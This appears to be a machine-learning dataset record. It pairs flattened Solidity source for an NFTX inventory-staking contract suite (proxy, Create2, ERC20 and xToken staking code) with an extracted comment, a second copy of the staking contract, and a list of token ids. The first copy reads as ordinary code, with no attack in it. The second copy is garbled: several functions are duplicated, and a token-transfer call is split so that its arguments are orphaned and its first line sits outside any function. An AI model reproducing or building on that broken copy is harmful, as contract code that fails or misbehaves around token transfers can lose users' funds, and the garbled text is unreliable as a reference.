SetIsGuardian(address addr, bool isGuardian); mapping(address => bool) public isGuardian; mapping(uint256 => bool) public isPaused; // 0 : createVault // 1 : mint // 2 : redeem // 3 : swap // 4 : flashloan function onlyOwnerIfPaused(uint256 lockId) public view virtual { require(!isPaused[lockId] || msg.sender == owner(), "Paused"); } function unpause(uint256 lockId) public virtual onlyOwner { isPaused[lockId] = false; emit SetPaused(lockId, false); } function pause(uint256 lockId) public virtual { require(isGuardian[msg.sender], "Can't pause"); isPaused[lockId] = true; emit SetPaused(lockId, true); } function setIsGuardian(address addr, bool _isGuardian) public virtual onlyOwner { isGuardian[addr] = _isGuardian; emit SetIsGuardian(addr, _isGuardian); } } // File contracts/solidity/util/Create2.sol pragma solidity ^0.8.0; /** * @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer. * `CREATE2` can be used to compute in advance the address where a smart * contract will be deployed, which allows for interesting new mechanisms known * as 'counterfactual interactions'. * * See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more * information. */ library Create2 { /** * @dev Deploys a contract using `CREATE2`. The address where the contract * will be deployed can be known in advance via {computeAddress}. * * The bytecode for a contract can be obtained from Solidity with * `type(contractName).creationCode`. * * Requirements: * * - `bytecode` must not be empty. * - `salt` must have not been used for `bytecode` already. * - the factory must have a balance of at least `amount`. * - if `amount` is non-zero, `bytecode` must have a `payable` constructor. */ function deploy( uint256 amount, bytes32 salt, bytes memory bytecode ) internal returns (address) { address addr; require( address(this).balance >= amount, "Create2: insufficient balance" ); require(bytecode.length != 0, "Create2: bytecode length is zero"); // solhint-disable-next-line no-inline-assembly assembly { addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt) } require(addr != address(0), "Create2: Failed on deploy"); return addr; } /** * @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the * `bytecodeHash` or `salt` will result in a new destination address. */ function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) { return computeAddress(salt, bytecodeHash, address(this)); } /** * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}. */ function computeAddress( bytes32 salt, bytes32 bytecodeHash, address deployer ) internal pure returns (address) { bytes32 _data = keccak256( abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash) ); return address(uint160(uint256(_data))); } } // File contracts/solidity/proxy/UpgradeableBeacon.sol pragma solidity ^0.8.0; /** * @dev This contract is used in conjunction with one or more instances of {BeaconProxy} to determine their * implementation contract, which is where they will delegate all function calls. * * An owner is able to change the implementation the beacon points to, thus upgrading the proxies that use this beacon. */ contract UpgradeableBeacon is IBeacon, OwnableUpgradeable { address private _childImplementation; /** * @dev Emitted when the child implementation returned by the beacon is changed. */ event Upgraded(address indexed childImplementation); /** * @dev Sets the address of the initial implementation, and the deployer account as the owner who can upgrade the * beacon. */ function __UpgradeableBeacon__init(address childImplementation_) public initializer { _setChildImplementation(childImplementation_); } /** * @dev Returns the current child implementation address. */ function childImplementation() public view virtual override returns (address) { return _childImplementation; } /** * @dev Upgrades the beacon to a new implementation. * * Emits an {Upgraded} event. * * Requirements: * * - msg.sender must be the owner of the contract. * - `newChildImplementation` must be a contract. */ function upgradeChildTo(address newChildImplementation) public virtual override onlyOwner { _setChildImplementation(newChildImplementation); } /** * @dev Sets the implementation contract address for this beacon * * Requirements: * * - `newChildImplementation` must be a contract. */ function _setChildImplementation(address newChildImplementation) private { require( Address.isContract(newChildImplementation), "UpgradeableBeacon: child implementation is not a contract" ); _childImplementation = newChildImplementation; emit Upgraded(newChildImplementation); } } // File contracts/solidity/proxy/Proxy.sol pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall( gas(), implementation, 0, calldatasize(), 0, 0 ) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // File contracts/solidity/proxy/Create2BeaconProxy.sol pragma solidity ^0.8.0; /** * @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}. * Slightly modified to allow using beacon proxies with Create2. * * The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't * conflict with the storage layout of the implementation behind the proxy. * * _Available since v3.4._ */ contract Create2BeaconProxy is Proxy { /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 private constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Initializes the proxy with `beacon`. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This * will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity * constructor. * * Requirements: * * - `beacon` must be a contract with the interface {IBeacon}. */ constructor() payable { assert( _BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1) ); _setBeacon(msg.sender, ""); } /** * @dev Returns the current beacon address. */ function _beacon() internal view virtual returns (address beacon) { bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { beacon := sload(slot) } } /** * @dev Returns the current implementation address of the associated beacon. */ function _implementation() internal view virtual override returns (address) { return IBeacon(_beacon()).childImplementation(); } /** * @dev Changes the proxy to use a new beacon. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. * * Requirements: * * - `beacon` must be a contract. * - The implementation returned by `beacon` must be a contract. */ function _setBeacon(address beacon, bytes memory data) internal virtual { require( Address.isContract(beacon), "BeaconProxy: beacon is not a contract" ); require( Address.isContract(IBeacon(beacon).childImplementation()), "BeaconProxy: beacon implementation is not a contract" ); bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, beacon) } if (data.length > 0) { Address.functionDelegateCall( _implementation(), data, "BeaconProxy: function call failed" ); } } } // File contracts/solidity/token/ERC20Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } function _setMetadata(string memory name_, string memory symbol_) internal { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // File contracts/solidity/token/XTokenUpgradeable.sol pragma solidity ^0.8.0; // XTokens let uou come in with some vault tokens, and leave with more! The longer you stay, the more vault tokens you get. // // This contract handles swapping to and from xSushi, SushiSwap's staking token. contract XTokenUpgradeable is OwnableUpgradeable, ERC20Upgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; uint256 internal constant MAX_TIMELOCK = 2592000; IERC20Upgradeable public baseToken; mapping(address => uint256) internal timelock; event Timelocked(address user, uint256 until); function __XToken_init( address _baseToken, string memory name, string memory symbol ) public initializer { __Ownable_init(); // string memory _name = INFTXInventoryStaking(msg.sender).nftxVaultFactory().vault(); __ERC20_init(name, symbol); baseToken = IERC20Upgradeable(_baseToken); } // Needs to be called BEFORE new base tokens are deposited. function mintXTokens( address account, uint256 _amount, uint256 timelockLength ) external onlyOwner returns (uint256) { // Gets the amount of Base Token locked in the contract uint256 totalBaseToken = baseToken.balanceOf(address(this)); // Gets the amount of xTokens in existence uint256 totalShares = totalSupply(); // If no xTokens exist, mint it 1:1 to the amount put in if (totalShares == 0 || totalBaseToken == 0) { _timelockMint(account, _amount, timelockLength); return _amount; } // Calculate and mint the amount of xTokens the base tokens are worth. The ratio will change overtime, as xTokens are burned/minted and base tokens deposited + gained from fees / withdrawn. else { uint256 what = (_amount * totalShares) / totalBaseToken; _timelockMint(account, what, timelockLength); return what; } } function burnXTokens(address who, uint256 _share) external onlyOwner returns (uint256) { // Gets the amount of xToken in existence uint256 totalShares = totalSupply(); // Calculates the amount of base tokens the xToken is worth uint256 what = (_share * baseToken.balanceOf(address(this))) / totalShares; _burn(who, _share); baseToken.safeTransfer(who, what); return what; } function timelockAccount(address account, uint256 timelockLength) public virtual onlyOwner { require(timelockLength < MAX_TIMELOCK, "Too long lock"); uint256 timelockFinish = block.timestamp + timelockLength; if (timelockFinish > timelock[account]) { timelock[account] = timelockFinish; emit Timelocked(account, timelockFinish); } } function _burn(address who, uint256 amount) internal override { require(block.timestamp > timelock[who], "User locked"); super._burn(who, amount); } function timelockUntil(address account) public view returns (uint256) { return timelock[account]; } function _timelockMint( address account, uint256 amount, uint256 timelockLength ) internal virtual { timelockAccount(account, timelockLength); _mint(account, amount); } function _transfer( address from, address to, uint256 value ) internal override { require(block.timestamp > timelock[from], "User locked"); super._transfer(from, to, value); } } // File contracts/solidity/NFTXInventoryStaking.sol pragma solidity ^0.8.0; // Author: 0xKiwi. // Pausing codes for inventory staking are: // 10: Deposit contract NFTXInventoryStaking is PausableUpgradeable, UpgradeableBeacon, INFTXInventoryStaking { using SafeERC20Upgradeable for IERC20Upgradeable; // Small locktime to prevent flash deposits. uint256 internal constant DEFAULT_LOCKTIME = 2; bytes internal constant beaconCode = type(Create2BeaconProxy).creationCode; INFTXVaultFactory public override nftxVaultFactory; event XTokenCreated(uint256 vaultId, address baseToken, address xToken); event Deposit( uint256 vaultId, uint256 baseTokenAmount, uint256 xTokenAmount, uint256 timelockUntil, address sender ); event Withdraw( uint256 vaultId, uint256 baseTokenAmount, uint256 xTokenAmount, address sender ); event FeesReceived(uint256 vaultId, uint256 amount); function __NFTXInventoryStaking_init(address _nftxVaultFactory) external virtual override initializer { __Ownable_init(); nftxVaultFactory = INFTXVaultFactory(_nftxVaultFactory); address xTokenImpl = address(new XTokenUpgradeable()); __UpgradeableBeacon__init(xTokenImpl); } modifier onlyAdmin() { require( msg.sender == owner() || msg.sender == nftxVaultFactory.feeDistributor(), "LPStaking: Not authorized" ); _; } function deployXTokenForVault(uint256 vaultId) public virtual override { address baseToken = nftxVaultFactory.vault(vaultId); address deployedXToken = xTokenAddr(address(baseToken)); if (isContract(deployedXToken)) { return; } address xToken = _deployXToken(baseToken); emit XTokenCreated(vaultId, baseToken, xToken); } function receiveRewards(uint256 vaultId, uint256 amount) external virtual override onlyAdmin returns (bool) { address baseToken = nftxVaultFactory.vault(vaultId); address deployedXToken = xTokenAddr(address(baseToken)); // Don't distribute rewards unless there are people to distribute to. // Also added here if the distribution token is not deployed, just forfeit rewards for now. if ( !isContract(deployedXToken) || XTokenUpgradeable(deployedXToken).totalSupply() == 0 ) { return false; } // We "pull" to the dividend tokens so the fee distributor only needs to approve this contract. IERC20Upgradeable(baseToken).safeTransferFrom( msg.sender, deployedXToken, amount ); emit FeesReceived(vaultId, amount); return true; } // Enter staking. Staking, get minted shares and // locks base tokens and mints xTokens. function deposit(uint256 vaultId, uint256 _amount) external virtual override { onlyOwnerIfPaused(10); ( IERC20Upgradeable baseToken, XTokenUpgradeable xToken, uint256 xTokensMinted ) = _timelockMintFor(vaultId, msg.sender, _amount, DEFAULT_LOCKTIME); // Lock the base token in the xtoken contract baseToken.safeTransferFrom(msg.sender, address(xToken), _amount); emit Deposit( vaultId, _amount, xTokensMinted, DEFAULT_LOCKTIME, msg.sender ); } function timelockMintFor( uint256 vaultId, uint256 amount, address to, uint256 timelockLength ) external virtual override returns (uint256) { onlyOwnerIfPaused(10); require(msg.sender == nftxVaultFactory.zapContract(), "Not a zap"); require( nftxVaultFactory.excludedFromFees(msg.sender), "Not fee excluded" ); (, , uint256 xTokensMinted) = _timelockMintFor( vaultId, to, amount, timelockLength ); emit Deposit(vaultId, amount, xTokensMinted, timelockLength, to); return xTokensMinted; } // Leave the bar. Claim back your tokens. // Unlocks the staked + gained tokens and burns xTokens. function withdraw(uint256 vaultId, uint256 _share) external virtual override { IERC20Upgradeable baseToken = IERC20Upgradeable( nftxVaultFactory.vault(vaultId) ); XTokenUpgradeable xToken = XTokenUpgradeable( xTokenAddr(address(baseToken)) ); uint256 baseTokensRedeemed = xToken.burnXTokens(msg.sender, _share); emit Withdraw(vaultId, baseTokensRedeemed, _share, msg.sender); } function xTokenShareValue(uint256 vaultId) external view virtual override returns (uint256) { IERC20Upgradeable baseToken = IERC20Upgradeable( nftxVaultFactory.vault(vaultId) ); XTokenUpgradeable xToken = XTokenUpgradeable( xTokenAddr(address(baseToken)) ); require(address(xToken) != address(0), "XToken not deployed"); uint256 multiplier = 10**18; return xToken.totalSupply() > 0 ? (multiplier * baseToken.balanceOf(address(xToken))) / xToken.totalSupply() : multiplier; } function timelockUntil(uint256 vaultId, address who) external view returns (uint256) { XTokenUpgradeable xToken = XTokenUpgradeable(vaultXToken(vaultId)); return xToken.timelockUntil(who); } function balanceOf(uint256 vaultId, address who) external view returns (uint256) { XTokenUpgradeable xToken = XTokenUpgradeable(vaultXToken(vaultId)); return xToken.balanceOf(who); } // Note: this function does not guarantee the token is deployed, we leave that check to elsewhere to save gas. function xTokenAddr(address baseToken) public view virtual override returns (address) { bytes32 salt = keccak256(abi.encodePacked(baseToken)); address tokenAddr = Create2.computeAddress( salt, keccak256(type(Create2BeaconProxy).creationCode) ); return tokenAddr; } function vaultXToken(uint256 vaultId) public view virtual override returns (address) { address baseToken = nftxVaultFactory.vault(vaultId); address xToken = xTokenAddr(baseToken); require(isContract(xToken), "XToken not deployed"); return xToken; } function _timelockMintFor( uint256 vaultId, address account, uint256 _amount, uint256 timelockLength ) internal returns ( IERC20Upgradeable, XTokenUpgradeable, uint256 ) { deployXTokenForVault(vaultId); IERC20Upgradeable baseToken = IERC20Upgradeable( nftxVaultFactory.vault(vaultId) ); XTokenUpgradeable xToken = XTokenUpgradeable( (xTokenAddr(address(baseToken))) ); uint256 xTokensMinted = xToken.mintXTokens( account, _amount, timelockLength ); return (baseToken, xToken, xTokensMinted); } function _deployXToken(address baseToken) internal returns (address) { string memory symbol = IERC20Metadata(baseToken).symbol(); symbol = string(abi.encodePacked("x", symbol)); bytes32 salt = keccak256(abi.encodePacked(baseToken)); address deployedXToken = Create2.deploy(0, salt, beaconCode); XTokenUpgradeable(deployedXToken).__XToken_init( baseToken, symbol, symbol ); return deployedXToken; } function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size != 0; } }
Small locktime to prevent flash deposits.
{ using SafeERC20Upgradeable for IERC20Upgradeable; uint256 internal constant DEFAULT_LOCKTIME = 2; bytes internal constant beaconCode = type(Create2BeaconProxy).creationCode; INFTXVaultFactory public override nftxVaultFactory; event XTokenCreated(uint256 vaultId, address baseToken, address xToken); event Deposit( uint256 vaultId, uint256 baseTokenAmount, uint256 xTokenAmount, uint256 timelockUntil, address sender ); event Withdraw( uint256 vaultId, uint256 baseTokenAmount, uint256 xTokenAmount, address sender ); event FeesReceived(uint256 vaultId, uint256 amount); function __NFTXInventoryStaking_init(address _nftxVaultFactory) external virtual override initializer { __Ownable_init(); nftxVaultFactory = INFTXVaultFactory(_nftxVaultFactory); address xTokenImpl = address(new XTokenUpgradeable()); __UpgradeableBeacon__init(xTokenImpl); } modifier onlyAdmin() { require( msg.sender == owner() || msg.sender == nftxVaultFactory.feeDistributor(), "LPStaking: Not authorized" ); _; } function deployXTokenForVault(uint256 vaultId) public virtual override { address baseToken = nftxVaultFactory.vault(vaultId); address deployedXToken = xTokenAddr(address(baseToken)); if (isContract(deployedXToken)) { return; } address xToken = _deployXToken(baseToken); emit XTokenCreated(vaultId, baseToken, xToken); } function deployXTokenForVault(uint256 vaultId) public virtual override { address baseToken = nftxVaultFactory.vault(vaultId); address deployedXToken = xTokenAddr(address(baseToken)); if (isContract(deployedXToken)) { return; } address xToken = _deployXToken(baseToken); emit XTokenCreated(vaultId, baseToken, xToken); } function receiveRewards(uint256 vaultId, uint256 amount) external virtual override onlyAdmin returns (bool) { address baseToken = nftxVaultFactory.vault(vaultId); address deployedXToken = xTokenAddr(address(baseToken)); if ( !isContract(deployedXToken) || XTokenUpgradeable(deployedXToken).totalSupply() == 0 ) { return false; } msg.sender, deployedXToken, amount ); emit FeesReceived(vaultId, amount); return true; } function receiveRewards(uint256 vaultId, uint256 amount) external virtual override onlyAdmin returns (bool) { address baseToken = nftxVaultFactory.vault(vaultId); address deployedXToken = xTokenAddr(address(baseToken)); if ( !isContract(deployedXToken) || XTokenUpgradeable(deployedXToken).totalSupply() == 0 ) { return false; } msg.sender, deployedXToken, amount ); emit FeesReceived(vaultId, amount); return true; } IERC20Upgradeable(baseToken).safeTransferFrom( function deposit(uint256 vaultId, uint256 _amount) external virtual override { onlyOwnerIfPaused(10); ( IERC20Upgradeable baseToken, XTokenUpgradeable xToken, uint256 xTokensMinted ) = _timelockMintFor(vaultId, msg.sender, _amount, DEFAULT_LOCKTIME); baseToken.safeTransferFrom(msg.sender, address(xToken), _amount); emit Deposit( vaultId, _amount, xTokensMinted, DEFAULT_LOCKTIME, msg.sender ); } function timelockMintFor( uint256 vaultId, uint256 amount, address to, uint256 timelockLength ) external virtual override returns (uint256) { onlyOwnerIfPaused(10); require(msg.sender == nftxVaultFactory.zapContract(), "Not a zap"); require( nftxVaultFactory.excludedFromFees(msg.sender), "Not fee excluded" ); (, , uint256 xTokensMinted) = _timelockMintFor( vaultId, to, amount, timelockLength ); emit Deposit(vaultId, amount, xTokensMinted, timelockLength, to); return xTokensMinted; } function withdraw(uint256 vaultId, uint256 _share) external virtual override { IERC20Upgradeable baseToken = IERC20Upgradeable( nftxVaultFactory.vault(vaultId) ); XTokenUpgradeable xToken = XTokenUpgradeable( xTokenAddr(address(baseToken)) ); uint256 baseTokensRedeemed = xToken.burnXTokens(msg.sender, _share); emit Withdraw(vaultId, baseTokensRedeemed, _share, msg.sender); } function xTokenShareValue(uint256 vaultId) external view virtual override returns (uint256) { IERC20Upgradeable baseToken = IERC20Upgradeable( nftxVaultFactory.vault(vaultId) ); XTokenUpgradeable xToken = XTokenUpgradeable( xTokenAddr(address(baseToken)) ); require(address(xToken) != address(0), "XToken not deployed"); uint256 multiplier = 10**18; return xToken.totalSupply() > 0 ? (multiplier * baseToken.balanceOf(address(xToken))) / xToken.totalSupply() : multiplier; } function timelockUntil(uint256 vaultId, address who) external view returns (uint256) { XTokenUpgradeable xToken = XTokenUpgradeable(vaultXToken(vaultId)); return xToken.timelockUntil(who); } function balanceOf(uint256 vaultId, address who) external view returns (uint256) { XTokenUpgradeable xToken = XTokenUpgradeable(vaultXToken(vaultId)); return xToken.balanceOf(who); } function xTokenAddr(address baseToken) public view virtual override returns (address) { bytes32 salt = keccak256(abi.encodePacked(baseToken)); address tokenAddr = Create2.computeAddress( salt, keccak256(type(Create2BeaconProxy).creationCode) ); return tokenAddr; } function vaultXToken(uint256 vaultId) public view virtual override returns (address) { address baseToken = nftxVaultFactory.vault(vaultId); address xToken = xTokenAddr(baseToken); require(isContract(xToken), "XToken not deployed"); return xToken; } function _timelockMintFor( uint256 vaultId, address account, uint256 _amount, uint256 timelockLength ) internal returns ( IERC20Upgradeable, XTokenUpgradeable, uint256 ) { deployXTokenForVault(vaultId); IERC20Upgradeable baseToken = IERC20Upgradeable( nftxVaultFactory.vault(vaultId) ); XTokenUpgradeable xToken = XTokenUpgradeable( (xTokenAddr(address(baseToken))) ); uint256 xTokensMinted = xToken.mintXTokens( account, _amount, timelockLength ); return (baseToken, xToken, xTokensMinted); } function _deployXToken(address baseToken) internal returns (address) { string memory symbol = IERC20Metadata(baseToken).symbol(); symbol = string(abi.encodePacked("x", symbol)); bytes32 salt = keccak256(abi.encodePacked(baseToken)); address deployedXToken = Create2.deploy(0, salt, beaconCode); XTokenUpgradeable(deployedXToken).__XToken_init( baseToken, symbol, symbol ); return deployedXToken; } function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size != 0; } function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size != 0; } }
6,562,064
[ 1, 19187, 2176, 957, 358, 5309, 9563, 443, 917, 1282, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
